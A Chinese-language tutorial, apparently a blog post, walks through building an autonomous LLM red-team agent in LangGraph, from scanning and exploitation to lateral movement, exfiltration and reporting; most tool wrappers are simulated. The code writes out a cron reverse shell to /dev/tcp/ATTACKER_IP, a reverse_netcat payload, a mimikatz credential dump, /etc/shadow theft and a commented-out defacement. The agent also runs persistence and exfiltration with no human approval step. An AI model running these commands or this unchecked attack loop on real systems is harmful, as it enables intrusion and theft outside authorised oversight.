各位编程专家、安全爱好者,大家好!
今天,我们将深入探讨一个前沿且极具挑战性的话题:如何构建一个智能化的“网络安全红队 Agent”,利用 LangGraph 这一强大的编排框架,实现从扫描、渗透、横向移动到报告生成的全攻击生命周期自动化。在当今复杂多变的网络威胁环境中,传统的安全测试方法正面临效率和覆盖面的双重挑战。一个能够模拟真实攻击者行为、自主决策并执行复杂任务的 Agent,无疑将成为提升企业安全防御能力的关键利器。
想象一下,一个能够像经验丰富的红队成员一样思考、规划和行动的自动化系统。它不仅仅是简单地执行脚本,而是能根据实时反馈调整策略,像一名真正的渗透测试员那样,逐步深入目标网络。LangGraph 的出现,为我们构建这样复杂的、状态驱动的智能系统提供了完美的画布。
智能红队 Agent 的核心理念
在深入技术细节之前,我们首先要明确智能红队 Agent 的核心理念。它不再是简单的工具链调用,而是具备以下特征:
- 目标导向性 (Goal-Oriented): Agent 被赋予一个高级目标(例如,“获取域管理员权限”),并自主规划实现路径。
- 环境感知与适应 (Environment Awareness & Adaptation): Agent 能够从环境中获取信息(扫描结果、系统响应),并根据这些信息动态调整其行为和策略。
- 自主决策 (Autonomous Decision-Making): 基于内置的策略、经验知识和实时信息,Agent 能够自主选择下一步行动。
- 工具编排与执行 (Tool Orchestration & Execution): Agent 能够智能选择和调用各种安全工具(Nmap, Metasploit, PowerShell等),并处理它们的输出。
- 状态管理 (State Management): 在攻击的各个阶段,Agent 需要维护和更新关于目标、已发现漏洞、已获取权限等关键信息。
- 人类协作 (Human-in-the-Loop): 在关键决策点或遇到复杂情况时,Agent 能够请求人类专家的介入和指导。
LangGraph 正是为这种状态驱动、多步骤、决策复杂的 Agent 架构而生。它将大型语言模型(LLM)的推理能力与传统编程的逻辑控制完美结合,允许我们定义一个有向无环图(或循环图)来表示 Agent 的决策流程和状态转换。
LangGraph 概览:为何选择它?
LangGraph 是 LangChain 的一个扩展,专注于构建多 Agent 工作流和循环逻辑。它将 LLM 应用视为一个状态机,允许我们定义一系列节点(Nodes)和边(Edges),从而精确控制 Agent 的执行流程。
LangGraph 的核心组件
- State (状态): 这是 Agent 在整个攻击生命周期中维护的共享信息。它可以包含扫描结果、已发现的漏洞、已获取的凭据、当前控制的系统列表等。
- Nodes (节点): 每个节点代表 Agent 的一个操作或决策步骤。它可以是一个工具调用、一个 LLM 调用、一个条件判断,或者是一个自定义函数。
- Edges (边): 边定义了节点之间的转换。它们可以是直接的(无条件转换),也可以是条件性的(根据当前状态或节点输出进行判断)。
- Graph (图): 整个 Agent 的行为逻辑由节点和边构成的一个图表示。
LangGraph 在红队 Agent 中的优势
| 特性 | 描述 | 红队 Agent 应用 |
|---|---|---|
| 状态管理 | 自动维护并传递 Agent 的当前状态。 | 存储扫描结果、漏洞信息、渗透进展、已获取权限等,确保信息流的连贯性。 |
| 循环与条件逻辑 | 支持复杂的决策分支和循环执行。 | 允许 Agent 在渗透失败时尝试其他方法,在发现新目标时重新启动扫描,模拟真实攻击者的试错过程。 |
| LLM 集成 | 轻松将大型语言模型作为决策引擎或内容生成器。 | 利用 LLM 进行攻击路径规划、漏洞利用代码生成、安全报告撰写,提升 Agent 的智能水平。 |
| 工具集成 | 方便地将外部工具封装为 Agent 可调用的函数。 | 将 Nmap、Metasploit、PowerShell 等安全工具集成到 Agent 工作流中,实现自动化操作。 |
| 可观测性与调试 | 图形化的工作流表示有助于理解和调试复杂的 Agent 行为。 | 帮助安全研究员追踪 Agent 的攻击路径,理解其决策过程,并在出现问题时进行调试。 |
| 人类介入 (Human-in-the-Loop) | 允许在特定节点暂停执行,等待人类输入或确认。 | 在高风险操作(如真实渗透)前请求人类批准,或在 Agent 无法自主决策时寻求专家指导。 |
构建红队 Agent:全攻击生命周期编排
现在,让我们按照攻击生命周期的各个阶段,逐步构建我们的 LangGraph 红队 Agent。
0. Agent 的基础架构与状态定义
首先,我们需要定义 Agent 的共享状态(AgentState)以及一些基础工具。
from typing import TypedDict, List, Dict, Any, Optional
from langchain_core.pydantic_v1 import BaseModel, Field
from langchain_core.messages import BaseMessage, HumanMessage, AIMessage, ToolMessage
from langchain_core.tools import tool
from langchain_openai import ChatOpenAI
from langgraph.graph import StateGraph, END
import os
import json
import subprocess
# 假设已经配置好 OpenAI API Key
# os.environ["OPENAI_API_KEY"] = "YOUR_OPENAI_API_KEY"
# 定义 Agent 的共享状态
class AgentState(TypedDict):
"""
Agent 的共享状态,包含攻击生命周期中积累的所有信息。
"""
target_scope: List[str] # 初始攻击目标范围 (IP, 域名等)
recon_data: Dict[str, Any] # 侦察阶段收集的数据 (开放端口, 服务版本, 子域名等)
vulnerabilities: List[Dict[str, Any]] # 发现的漏洞列表
exploits_attempted: List[Dict[str, Any]] # 已尝试的漏洞利用
access_gained: List[Dict[str, Any]] # 已获取的访问权限 (shell, 凭据等)
lateral_movement_data: Dict[str, Any] # 横向移动阶段的数据 (新目标, 内部凭据等)
exfiltrated_data: List[Dict[str, Any]] # 窃取的数据
report_draft: Optional[str] # 报告草稿
messages: List[BaseMessage] # 用于 LLM 对话的历史消息
current_task: str # Agent 当前正在执行的任务描述
human_intervention_required: bool # 是否需要人工介入
# 定义 LLM 工具
llm = ChatOpenAI(model="gpt-4o", temperature=0.7)
# --- 模拟安全工具包装器 (实际项目中需要更健壮的实现) ---
@tool
def nmap_scan(target: str, options: Optional[str] = "-sV -O") -> str:
"""
执行 Nmap 扫描,获取目标主机开放端口、服务版本和操作系统信息。
Args:
target (str): 扫描目标 (IP 地址或域名)。
options (str): Nmap 命令行选项。
Returns:
str: Nmap 扫描的原始输出。
"""
print(f"Executing Nmap scan on {target} with options: {options}")
# 模拟 Nmap 命令行执行
try:
# 实际项目中,这里会调用 subprocess.run(['nmap', options, target], capture_output=True, text=True)
# 为了演示,我们返回一个模拟结果
if "example.com" in target or "192.168.1.100" in target:
if "-sV -O" in options:
return f"""
Nmap scan report for {target}
Host is up (0.0000s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
MAC Address: 00:00:00:00:00:00 (VMware)
OS: Linux 5.4.0-58-generic (Ubuntu 20.04)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel:5.4
"""
elif "-p-" in options: # Full port scan
return f"""
Nmap scan report for {target}
Host is up (0.0000s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
3389/tcp open ms-wbt-server
"""
return f"Nmap scan on {target} with options '{options}' completed. No specific details simulated for this target."
except Exception as e:
return f"Error executing nmap_scan: {e}"
@tool
def nuclei_scan(target: str, template: Optional[str] = None) -> str:
"""
使用 Nuclei 进行漏洞扫描。
Args:
target (str): 扫描目标 URL 或 IP。
template (str): Nuclei 模板文件或目录。如果为 None,则运行默认模板。
Returns:
str: Nuclei 扫描的原始输出。
"""
print(f"Executing Nuclei scan on {target} with template: {template if template else 'default'}")
# 模拟 Nuclei 命令行执行
try:
# 实际项目中,这里会调用 subprocess.run(['nuclei', '-target', target, '-t', template], capture_output=True, text=True)
# 为了演示,我们返回一个模拟结果
if "http://example.com" in target or "https://example.com" in target:
if "nginx-insecure-version" in str(template):
return f"""
[nginx-insecure-version] http://example.com: Found Nginx 1.18.0, which is an outdated version.
[cve-2021-xxxx] http://example.com: Possible vulnerability found in Nginx 1.18.0.
"""
else:
return f"Nuclei scan on {target} completed. No specific vulnerabilities found in this simulation."
return f"Nuclei scan on {target} completed. No specific vulnerabilities found."
except Exception as e:
return f"Error executing nuclei_scan: {e}"
@tool
def metasploit_exploit(module: str, target_host: str, payload: str, rport: int, options: Dict[str, Any]) -> str:
"""
使用 Metasploit Framework 执行漏洞利用。
Args:
module (str): Metasploit 模块路径 (e.g., 'exploit/multi/http/apache_ofbiz_rce').
target_host (str): 目标主机 IP。
payload (str): Metasploit payload (e.g., 'cmd/unix/reverse_netcat').
rport (int): 远程端口。
options (Dict[str, Any]): 其他模块选项。
Returns:
str: Metasploit 执行结果,包括是否获取到会话。
"""
print(f"Executing Metasploit exploit: {module} on {target_host}:{rport} with payload {payload}")
# 模拟 Metasploit 执行
try:
if "exploit/linux/http/nginx_chunked_encoding" in module and target_host == "192.168.1.100":
if rport == 80:
return "Metasploit exploit successful! Session 1 opened (shell/linux/x64/meterpreter) on 192.168.1.100."
else:
return "Metasploit exploit failed. Port mismatch."
return f"Metasploit exploit '{module}' on {target_host} attempted. Result: Failed (simulated)."
except Exception as e:
return f"Error executing metasploit_exploit: {e}"
@tool
def execute_shell_command(host: str, command: str, access_type: str = "ssh", credentials: Optional[Dict[str, str]] = None) -> str:
"""
在已获取访问权限的主机上执行 shell 命令。
Args:
host (str): 目标主机 IP。
command (str): 要执行的 shell 命令。
access_type (str): 访问类型 ('ssh', 'meterpreter', 'smb', etc.)。
credentials (Dict[str, str]): 凭据信息 (如果需要)。
Returns:
str: 命令执行的输出。
"""
print(f"Executing command '{command}' on {host} via {access_type}")
# 模拟命令执行
if "whoami" in command and host == "192.168.1.100":
return "root" if "root" in str(credentials) else "www-data"
if "ls /" in command and host == "192.168.1.100":
return "bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var"
if "cat /etc/passwd" in command and host == "192.168.1.100":
return "root:x:0:0:root:/root:/bin/bashnwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin"
if "mimikatz" in command and "windows-server" in host: # Simulate Windows host
return "Mimikatz output: Found 'Administrator:Password123' in memory."
return f"Command '{command}' on {host} executed. (simulated output)"
@tool
def report_findings(findings: Dict[str, Any]) -> str:
"""
根据 Agent 收集到的发现生成报告草稿。
Args:
findings (Dict[str, Any]): 包含所有发现的字典。
Returns:
str: 结构化的报告草稿。
"""
print("Generating report draft...")
# 实际项目中,这里会使用 LLM 生成更详细的报告
report_content = "### 红队渗透测试报告草稿nn"
report_content += "#### 目标范围:n"
report_content += f"- {', '.join(findings.get('target_scope', []))}nn"
report_content += "#### 侦察与扫描发现:n"
for target, data in findings.get('recon_data', {}).items():
report_content += f"- **{target}**:n"
report_content += f" - 开放端口: {data.get('open_ports', 'N/A')}n"
report_content += f" - 操作系统: {data.get('os', 'N/A')}n"
report_content += f" - 服务版本: {data.get('services', 'N/A')}n"
report_content += "n#### 发现的漏洞:n"
for vuln in findings.get('vulnerabilities', []):
report_content += f"- **{vuln.get('name', '未知漏洞')}** (目标: {vuln.get('target', 'N/A')}):n"
report_content += f" - 描述: {vuln.get('description', 'N/A')}n"
report_content += f" - 严重性: {vuln.get('severity', 'N/A')}n"
report_content += "n#### 渗透与访问:n"
for access in findings.get('access_gained', []):
report_content += f"- 成功获取 {access.get('type')} 访问到 {access.get('host')} (用户: {access.get('user', 'N/A')})n"
report_content += "n#### 横向移动与持久化:n"
if findings.get('lateral_movement_data'):
report_content += json.dumps(findings.get('lateral_movement_data'), indent=2) + "n"
report_content += "n#### 数据窃取:n"
for data in findings.get('exfiltrated_data', []):
report_content += f"- {data.get('description', '未知数据')} 从 {data.get('source_host', 'N/A')} 窃取。n"
report_content += "n#### 建议:n"
report_content += "- 修复发现的所有漏洞。n"
report_content += "- 实施更严格的访问控制。n"
report_content += "- 加强网络分段。n"
return report_content
# 将工具绑定到 LLM
tools = [nmap_scan, nuclei_scan, metasploit_exploit, execute_shell_command, report_findings]
llm_with_tools = llm.bind_tools(tools)
1. 阶段:侦察与扫描 (Reconnaissance & Scanning)
目标: 收集目标信息,识别开放端口、服务、操作系统,并发现潜在漏洞。
Agent 逻辑:
- 初始化: 接收初始目标范围。
- 端口扫描: 对目标执行 Nmap 扫描,识别开放端口和服务。
- 漏洞发现: 根据 Nmap 结果,对开放的服务执行更深入的漏洞扫描(例如使用 Nuclei)。
- 数据解析与更新: 解析扫描结果,更新 Agent 状态中的
recon_data和vulnerabilities。 - 决策: 如果发现漏洞,则进入渗透阶段;否则,可能需要更深入的侦察(如子域名枚举,此处简化)。
LangGraph 节点与边定义
# 节点函数
def initialize_recon(state: AgentState):
"""初始化侦察任务,设置当前任务并返回。"""
print("n--- Phase: Initialization & Reconnaissance ---")
return {**state, "current_task": "初始化侦察并规划扫描"}
def perform_nmap_scan(state: AgentState):
"""
根据目标范围执行 Nmap 扫描。
"""
print(f"Agent: Performing Nmap scan on {state['target_scope']}")
recon_data = state.get("recon_data", {})
messages = state.get("messages", [])
for target in state["target_scope"]:
tool_call = nmap_scan.invoke({"target": target, "options": "-sV -O"})
messages.append(AIMessage(content=f"Called nmap_scan for {target}"))
messages.append(ToolMessage(content=tool_call, tool_call_id="nmap_scan_id")) # Simplified tool_call_id
# 解析 Nmap 输出 (这里需要更复杂的解析逻辑)
parsed_output = {}
if "Nmap scan report" in tool_call:
parsed_output["raw_output"] = tool_call
ports_info = []
os_info = "Unknown"
services_info = []
for line in tool_call.split('n'):
if "/tcp" in line and "open" in line:
parts = line.split()
ports_info.append(f"{parts[0]} ({parts[2]} {parts[3] if len(parts) > 3 else ''})")
services_info.append(f"{parts[2]} {parts[3] if len(parts) > 3 else ''}")
if "OS:" in line:
os_info = line.split("OS: ")[1].split('(')[0].strip()
parsed_output["open_ports"] = ", ".join(ports_info)
parsed_output["os"] = os_info
parsed_output["services"] = ", ".join(services_info)
recon_data[target] = parsed_output
return {**state, "recon_data": recon_data, "messages": messages, "current_task": "Nmap扫描完成"}
def discover_vulnerabilities(state: AgentState):
"""
根据 Nmap 结果发现漏洞。
"""
print("Agent: Discovering vulnerabilities using Nuclei and LLM analysis.")
vulnerabilities = state.get("vulnerabilities", [])
recon_data = state.get("recon_data", {})
messages = state.get("messages", [])
for target, data in recon_data.items():
if "open_ports" in data:
# LLM 辅助决策:根据开放端口和服务,判断可能需要运行的 Nuclei 模板
llm_prompt = HumanMessage(f"Based on the following Nmap scan results for {target}:n{data.get('raw_output', '')}nnWhat are some potential high-level vulnerabilities or services that might be worth scanning with Nuclei? Suggest relevant Nuclei templates if possible, or indicate if a generic scan is appropriate. Respond concisely.")
messages.append(llm_prompt)
llm_response = llm.invoke(messages)
messages.append(llm_response)
# 假设 LLM 响应中包含建议的模板或指示进行通用扫描
# For demonstration, we'll hardcode some logic
if "80/tcp" in data.get("open_ports", "") or "443/tcp" in data.get("open_ports", ""):
web_target = f"http://{target}" if "80/tcp" in data.get("open_ports", "") else f"https://{target}"
# Check for Nginx version
if "nginx" in data.get("services", "") and "1.18.0" in data.get("services", ""):
nuclei_output = nuclei_scan.invoke({"target": web_target, "template": "nginx-insecure-version"})
messages.append(AIMessage(content=f"Called nuclei_scan for {web_target} with template nginx-insecure-version"))
messages.append(ToolMessage(content=nuclei_output, tool_call_id="nuclei_scan_nginx_id"))
if "Found Nginx 1.18.0" in nuclei_output:
vulnerabilities.append({
"name": "Outdated Nginx Version",
"target": target,
"port": "80/443",
"service": "nginx 1.18.0",
"description": "Nginx 1.18.0 is an outdated version with known vulnerabilities. Consider CVE-2021-xxxx.",
"severity": "High",
"raw_output": nuclei_output
})
# Generic HTTP/HTTPS scan
nuclei_output = nuclei_scan.invoke({"target": web_target}) # Generic scan
messages.append(AIMessage(content=f"Called nuclei_scan for {web_target} (generic)"))
messages.append(ToolMessage(content=nuclei_output, tool_call_id="nuclei_scan_generic_id"))
if "vulnerability found" in nuclei_output.lower():
vulnerabilities.append({
"name": "Generic Web Vulnerability",
"target": target,
"port": "80/443",
"service": "HTTP/HTTPS",
"description": "Nuclei detected a potential web vulnerability. See raw output.",
"severity": "Medium",
"raw_output": nuclei_output
})
return {**state, "vulnerabilities": vulnerabilities, "messages": messages, "current_task": "漏洞发现完成"}
# 决策函数
def decide_next_step_after_recon(state: AgentState):
"""
根据侦察结果决定下一步是渗透还是继续侦察。
"""
if state.get("vulnerabilities"):
print("Agent: Vulnerabilities found. Proceeding to Initial Penetration.")
return "penetrate"
else:
print("Agent: No immediate vulnerabilities found. Considering further reconnaissance or reporting.")
# 在真实场景中,这里可能会有更多的侦察策略,比如子域名枚举,或者直接结束报告
return "report" # For simplicity, if no vulns, go to report
2. 阶段:初始渗透 (Initial Penetration)
目标: 利用发现的漏洞,获取目标系统的初始访问权限。
Agent 逻辑:
- 漏洞分析与优先级: LLM 分析
vulnerabilities列表,评估严重性,并选择最具可行性的漏洞进行利用。 - 利用模块选择: 根据漏洞信息,LLM 建议合适的 Metasploit 模块或生成自定义利用代码。
- 漏洞利用: 执行选定的利用方法。
- 访问验证: 验证是否成功获取访问权限(例如,执行
whoami命令)。 - 状态更新: 更新
exploits_attempted和access_gained。 - 决策: 如果成功获取权限,进入横向移动;否则,尝试其他漏洞或报告失败。
LangGraph 节点与边定义
def select_and_exploit_vulnerability(state: AgentState):
"""
LLM 分析漏洞并选择利用模块,然后执行渗透。
"""
print("n--- Phase: Initial Penetration ---")
messages = state.get("messages", [])
vulnerabilities = state.get("vulnerabilities", [])
exploits_attempted = state.get("exploits_attempted", [])
access_gained = state.get("access_gained", [])
if not vulnerabilities:
messages.append(AIMessage(content="No vulnerabilities found to exploit. Skipping penetration phase."))
return {**state, "messages": messages, "current_task": "无漏洞可利用,跳过渗透"}
# 让 LLM 分析漏洞并建议利用方案
llm_prompt = HumanMessage(f"Here are the identified vulnerabilities:n{json.dumps(vulnerabilities, indent=2)}nnBased on these, suggest the most promising vulnerability to exploit first. For the chosen vulnerability, recommend a suitable Metasploit module and payload, and any necessary options. If no Metasploit module seems directly applicable, suggest a manual approach or indicate if no exploit is feasible. Be specific with module names and parameters.")
messages.append(llm_prompt)
llm_response = llm.invoke(messages)
messages.append(llm_response)
# 假设 LLM 响应包含模块、目标、端口和选项
# For demonstration, we'll parse a simplified LLM output or hardcode
chosen_exploit = None
if "nginx_chunked_encoding" in llm_response.content.lower() and "192.168.1.100" in llm_response.content:
chosen_exploit = {
"module": "exploit/linux/http/nginx_chunked_encoding",
"target_host": "192.168.1.100",
"payload": "cmd/unix/reverse_netcat",
"rport": 80,
"options": {"LHOST": "ATTACKER_IP", "LPORT": 4444} # Placeholder for attacker IP
}
elif "nginx-insecure-version" in llm_response.content.lower() and "example.com" in llm_response.content:
chosen_exploit = {
"module": "exploit/multi/http/nginx_outdated_version", # Fictional module for demonstration
"target_host": "example.com",
"payload": "cmd/unix/reverse_netcat",
"rport": 80,
"options": {"LHOST": "ATTACKER_IP", "LPORT": 4445}
}
if chosen_exploit:
exploit_result = metasploit_exploit.invoke(chosen_exploit)
messages.append(AIMessage(content=f"Called metasploit_exploit: {chosen_exploit['module']}"))
messages.append(ToolMessage(content=exploit_result, tool_call_id="metasploit_exploit_id"))
exploits_attempted.append({**chosen_exploit, "result": exploit_result})
if "Session 1 opened" in exploit_result:
print("Agent: Initial access gained!")
access_gained.append({
"type": "shell",
"host": chosen_exploit["target_host"],
"user": "unknown (awaiting post-exploit)",
"details": exploit_result
})
return {**state, "messages": messages, "exploits_attempted": exploits_attempted,
"access_gained": access_gained, "current_task": "初始访问成功"}
else:
print("Agent: Exploit failed. Trying another or moving on.")
# 在实际中,这里可以再次让 LLM 选择下一个漏洞
return {**state, "messages": messages, "exploits_attempted": exploits_attempted,
"current_task": "漏洞利用失败,考虑其他路径"}
else:
messages.append(AIMessage(content="LLM did not suggest a concrete exploit or no exploitable path found."))
print("Agent: No concrete exploit suggested by LLM or no exploitable path found.")
return {**state, "messages": messages, "current_task": "无具体利用方案,跳过渗透"}
# 决策函数
def decide_after_penetration(state: AgentState):
"""
根据是否获取到访问权限决定下一步。
"""
if state.get("access_gained"):
return "lateral_movement"
else:
# 如果没有成功渗透,可以考虑重新进行侦察,或者直接报告
print("Agent: Failed to gain initial access. Proceeding to report.")
return "report"
3. 阶段:横向移动与持久化 (Lateral Movement & Persistence)
目标: 在目标网络内部扩展控制,发现新目标,提升权限,并建立持久化访问。
Agent 逻辑:
- 后渗透侦察: 在已获取访问权限的主机上执行命令(
whoami,ipconfig,netstat,cat /etc/passwd,ls -laR等),收集系统和网络信息,寻找凭据。 - 凭据窃取: 尝试窃取凭据(例如,模拟 Mimikatz 或读取配置文件)。
- 新目标识别: 根据收集到的网络信息(如
netstat输出),识别内部网络中的新目标。 - 横向移动: 使用窃取的凭据或发现的新漏洞,尝试访问新目标。
- 持久化: 建立后门或计划任务,确保长期访问。
- 决策: 如果发现新目标或成功横向移动,则循环回渗透或侦察新目标;否则,进入数据窃取或报告。
LangGraph 节点与边定义
def post_exploitation_and_lateral_movement(state: AgentState):
"""
在已获取权限的主机上执行后渗透侦察,尝试横向移动。
"""
print("n--- Phase: Lateral Movement & Persistence ---")
messages = state.get("messages", [])
access_gained = state.get("access_gained", [])
lateral_movement_data = state.get("lateral_movement_data", {})
if not access_gained:
messages.append(AIMessage(content="No access gained for lateral movement. Skipping this phase."))
return {**state, "messages": messages, "current_task": "无访问权限进行横向移动"}
current_access = access_gained[0] # Simplification: assume we work with the first gained access
target_host = current_access["host"]
messages.append(HumanMessage(f"We have initial access on {target_host}. What post-exploitation steps should we take to gather information, find credentials, and identify new internal targets? Think about common Linux/Windows commands and tools like Mimikatz."))
llm_response = llm.invoke(messages)
messages.append(llm_response)
# Simulate LLM suggesting commands
suggested_commands = [
"whoami",
"ip a",
"netstat -tuln",
"cat /etc/passwd",
"find / -name '*.conf' 2>/dev/null", # Example for config files
# For Windows: "systeminfo", "tasklist", "net user", "wmic qfe get Caption,HotFixID", "mimikatz.exe sekurlsa::logonpasswords"
]
host_lateral_data = lateral_movement_data.get(target_host, {})
collected_info = {}
for cmd in suggested_commands:
print(f"Agent: Executing post-exploitation command: {cmd} on {target_host}")
command_output = execute_shell_command.invoke({
"host": target_host,
"command": cmd,
"access_type": current_access["type"],
"credentials": current_access.get("credentials")
})
messages.append(AIMessage(content=f"Executed '{cmd}' on {target_host}"))
messages.append(ToolMessage(content=command_output, tool_call_id=f"exec_cmd_{cmd.replace(' ', '_')}"))
collected_info[cmd] = command_output
# Simple credential parsing
if "Mimikatz output: Found" in command_output:
credential = command_output.split("'")[1] # "Administrator:Password123"
host_lateral_data["credentials_found"] = host_lateral_data.get("credentials_found", []) + [credential]
print(f"Agent: Found credentials: {credential}")
if "root:x:0:0" in command_output:
host_lateral_data["local_users"] = host_lateral_data.get("local_users", []) + ["root"]
host_lateral_data["collected_info"] = collected_info
lateral_movement_data[target_host] = host_lateral_data
# LLM 分析收集到的信息,寻找新目标或横向移动机会
llm_prompt_analysis = HumanMessage(f"We have collected the following information from {target_host}:n{json.dumps(collected_info, indent=2)}nnBased on this, identify any new internal IP addresses, potential vulnerable services, or opportunities for lateral movement. Suggest a new target or a lateral movement technique.")
messages.append(llm_prompt_analysis)
llm_response_analysis = llm.invoke(messages)
messages.append(llm_response_analysis)
# Simulate LLM finding a new target or suggesting lateral move
new_target_ip = None
if "192.168.1.101" in llm_response_analysis.content: # Example: LLM found a new IP from `ip a` output
new_target_ip = "192.168.1.101"
messages.append(AIMessage(content=f"Identified new internal target: {new_target_ip}"))
# Add new target to scope for re-scanning or direct attack
if new_target_ip not in state["target_scope"]:
state["target_scope"].append(new_target_ip)
state["recon_data"][new_target_ip] = {} # Initialize recon data for new target
print(f"Agent: Added {new_target_ip} to target scope for further reconnaissance.")
# Simplified persistence: Assume LLM decided to establish persistence
if "establish persistence" in llm_response_analysis.content.lower():
persistence_command = "echo '* * * * * root /bin/bash -i >& /dev/tcp/ATTACKER_IP/4446 0>&1' | tee -a /etc/crontab"
persistence_result = execute_shell_command.invoke({"host": target_host, "command": persistence_command, "access_type": current_access["type"]})
messages.append(AIMessage(content=f"Attempted to establish persistence on {target_host}"))
messages.append(ToolMessage(content=persistence_result, tool_call_id="persistence_cmd_id"))
host_lateral_data["persistence_established"] = True
print(f"Agent: Attempted to establish persistence on {target_host}.")
return {**state, "messages": messages, "lateral_movement_data": lateral_movement_data, "current_task": "横向移动与持久化完成"}
# 决策函数
def decide_after_lateral_movement(state: AgentState):
"""
根据横向移动阶段是否发现新目标或更高权限决定下一步。
"""
if state["target_scope"] and len(state["target_scope"]) > len(state["recon_data"]):
# If new targets were added but not yet scanned
print("Agent: New targets identified. Restarting reconnaissance for new targets.")
return "recon_new_target" # Loop back to recon
for host_data in state.get("lateral_movement_data", {}).values():
if host_data.get("credentials_found"):
print("Agent: Credentials found during lateral movement. Considering further exploitation or data exfiltration.")
return "data_exfiltration" # Or loop back to penetration with new creds
print("Agent: No further lateral movement opportunities or new targets immediately apparent. Proceeding to data exfiltration or reporting.")
return "data_exfiltration" # If nothing else, try to exfiltrate or report
4. 阶段:数据窃取与影响 (Data Exfiltration & Impact)
目标: 模拟攻击者最终目标,窃取敏感数据,或演示攻击对业务的影响。
Agent 逻辑:
- 数据识别: LLM 分析已获取主机的权限和文件系统信息,识别潜在敏感数据的位置。
- 窃取策略: LLM 制定数据窃取策略(例如,下载文件、数据库导出)。
- 数据窃取: 模拟执行数据窃取操作。
- 影响演示: (可选)模拟对目标系统的影响(如篡改文件、服务中断,需极度谨慎)。
- 状态更新: 更新
exfiltrated_data。 - 决策: 完成窃取后,进入报告阶段。
LangGraph 节点与边定义
@tool
def exfiltrate_data(source_host: str, file_path: str, method: str = "http_upload") -> str:
"""
模拟从目标主机窃取数据。
Args:
source_host (str): 数据来源主机。
file_path (str): 目标文件路径。
method (str): 窃取方法 (e.g., "http_upload", "dns_tunnel", "scp").
Returns:
str: 窃取结果。
"""
print(f"Simulating data exfiltration of '{file_path}' from {source_host} via {method}")
if "/etc/shadow" in file_path and source_host == "192.168.1.100":
return f"Successfully exfiltrated /etc/shadow from {source_host} using {method}. Data: [HASHES_SIMULATED]"
if "/var/www/html/config.php" in file_path and source_host == "example.com":
return f"Successfully exfiltrated /var/www/html/config.php from {source_host} using {method}. Contains DB credentials."
return f"Failed to exfiltrate '{file_path}' from {source_host} (simulated failure or not found)."
tools.append(exfiltrate_data) # Add new tool
llm_with_tools = llm.bind_tools(tools) # Rebind tools to LLM
def data_exfiltration_and_impact(state: AgentState):
"""
识别敏感数据并尝试窃取,可选地演示影响。
"""
print("n--- Phase: Data Exfiltration & Impact ---")
messages = state.get("messages", [])
access_gained = state.get("access_gained", [])
exfiltrated_data = state.get("exfiltrated_data", [])
if not access_gained:
messages.append(AIMessage(content="No access gained to exfiltrate data. Skipping this phase."))
return {**state, "messages": messages, "current_task": "无访问权限进行数据窃取"}
current_access = access_gained[0]
target_host = current_access["host"]
messages.append(HumanMessage(f"We have access to {target_host}. What sensitive data might be present and where? Suggest files like /etc/shadow, database configs, web application source code. Formulate a plan to exfiltrate the most critical data."))
llm_response = llm.invoke(messages)
messages.append(llm_response)
# Simulate LLM suggesting files to exfiltrate
files_to_exfiltrate = []
if "/etc/shadow" in llm_response.content:
files_to_exfiltrate.append("/etc/shadow")
if "config.php" in llm_response.content:
files_to_exfiltrate.append("/var/www/html/config.php") # Example for web server
for file_path in files_to_exfiltrate:
exfil_result = exfiltrate_data.invoke({"source_host": target_host, "file_path": file_path, "method": "scp"})
messages.append(AIMessage(content=f"Called exfiltrate_data for {file_path}"))
messages.append(ToolMessage(content=exfil_result, tool_call_id=f"exfil_data_{file_path.replace('/', '_')}"))
if "Successfully exfiltrated" in exfil_result:
exfiltrated_data.append({
"description": f"Sensitive file {file_path}",
"source_host": target_host,
"result": exfil_result
})
print(f"Agent: Successfully exfiltrated {file_path}.")
else:
print(f"Agent: Failed to exfiltrate {file_path}.")
# --- 模拟影响演示 (高度敏感,实际操作需严格控制) ---
# messages.append(HumanMessage(f"Should we attempt to demonstrate impact on {target_host}? Suggest a safe, reversible action, e.g., creating a deface file on a web server or temporarily stopping a non-critical service."))
# llm_response_impact = llm.invoke(messages)
# messages.append(llm_response_impact)
# if "deface web page" in llm_response_impact.content.lower():
# impact_cmd = "echo '<h1>Hacked by Red Team Agent!</h1>' > /var/www/html/index.html"
# impact_result = execute_shell_command.invoke({"host": target_host, "command": impact_cmd, "access_type": current_access["type"]})
# messages.append(AIMessage(content=f"Attempted to deface web page on {target_host}"))
# messages.append(ToolMessage(content=impact_result, tool_call_id="impact_deface_id"))
# print(f"Agent: Attempted to deface web page on {target_host}. Result: {impact_result}")
# --- 结束模拟影响演示 ---
return {**state, "messages": messages, "exfiltrated_data": exfiltrated_data, "current_task": "数据窃取与影响完成"}
5. 阶段:报告生成 (Report Generation)
目标: 整合所有发现和执行步骤,生成一份结构化的渗透测试报告。
Agent 逻辑:
- 数据整合: 从 Agent 的整个状态中提取所有关键信息(目标、扫描结果、漏洞、利用过程、获取权限、横向移动、窃取数据)。
- 报告结构化: LLM 根据标准报告模板,将整合的数据填充到报告中。
- 内容生成: LLM 撰写报告的叙述部分、技术细节和安全建议。
- 最终输出: 生成完整的渗透测试报告。
LangGraph 节点与边定义
def generate_final_report(state: AgentState):
"""
整合所有信息,生成最终的渗透测试报告。
"""
print("n--- Phase: Report Generation ---")
messages = state.get("messages", [])
# 将 AgentState 转换为 LLM 可以理解的报告摘要
findings_summary = {
"target_scope": state.get("target_scope"),
"recon_data": state.get("recon_data"),
"vulnerabilities": state.get("vulnerabilities"),
"exploits_attempted": state.get("exploits_attempted"),
"access_gained": state.get("access_gained"),
"lateral_movement_data": state.get("lateral_movement_data"),
"exfiltrated_data": state.get("exfiltrated_data"),
}
# 调用报告生成工具
report_content = report_findings.invoke(findings_summary)
messages.append(AIMessage(content="Called report_findings tool."))
messages.append(ToolMessage(content=report_content, tool_call_id="report_findings_id"))
# LLM 可以进一步润色报告
llm_prompt_refine = HumanMessage(f"Here is a draft penetration test report:n{report_content}nnPlease review and refine it. Ensure it's professional, clear, and provides actionable recommendations. Add an executive summary and a conclusion.")
messages.append(llm_prompt_refine)
final_report = llm.invoke(messages)
messages.append(final_report)
